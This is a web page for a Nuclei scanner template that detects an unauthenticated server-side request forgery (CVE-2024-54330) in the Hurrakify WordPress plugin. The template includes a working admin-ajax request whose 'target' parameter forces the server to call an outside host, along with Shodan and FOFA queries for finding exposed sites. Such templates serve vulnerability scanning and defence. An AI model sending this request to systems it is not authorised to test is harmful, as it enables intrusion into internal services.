Hurrakify <= 2.4 - Server-Side Request Forgery

ID: CVE-2024-54330

Severity: high

Author: s4e-io

Tags: cve,cve2024,wordpress,wp-plugin,hurrakify,ssrf,oob,oast

Description

The Hurrakify plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 2.4. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application which can be used to query and modify information from internal services.

YAML Source

id: CVE-2024-54330

info:
  name: Hurrakify <= 2.4 - Server-Side Request Forgery
  author: s4e-io
  severity: high
  description: |
    The Hurrakify plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 2.4. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application which can be used to query and modify information from internal services.
  reference:
    - https://github.com/RandomRobbieBF/CVE-2024-54330
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/hurrakify/hurrakify-24-unauthenticated-server-side-request-forgery
    - https://nvd.nist.gov/vuln/detail/CVE-2024-54330
    - https://patchstack.com/database/wordpress/plugin/hurrakify/vulnerability/wordpress-hurrakify-plugin-2-4-server-side-request-forgery-ssrf-vulnerability?_s_id=cve
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cve-id: CVE-2024-54330
    cwe-id: CWE-918
    epss-score: 0.00043
    epss-percentile: 0.11007
  metadata:
    verified: true
    max-request: 2
    vendor: by_hep_hep_hurra
    product: hurrakify
    framework: wordpress
    fofa-query: body="wp-content/plugins/hurrakify"
    shodan-query: http.html:"wp-content/plugins/hurrakify"
  tags: cve,cve2024,wordpress,wp-plugin,hurrakify,ssrf,oob,oast

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "/wp-content/plugins/hurrakify")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/admin-ajax.php?action=hurraki_tooltip_proxy&target=http://{{interactsh-url}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - 'http'

      - type: word
        part: content_type
        words:
          - 'text/html'

      - type: status
        status:
          - 200
# digest: 490a0046304402204a75d746ec201b3541fec46e6225fe1851cf28df86895c7cce5d4eb11fa006ef02202311909603de289d9a1ec35a4cd50b58318b1109adf27511d355454cbf249fb2:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-54330.yaml"

View on Github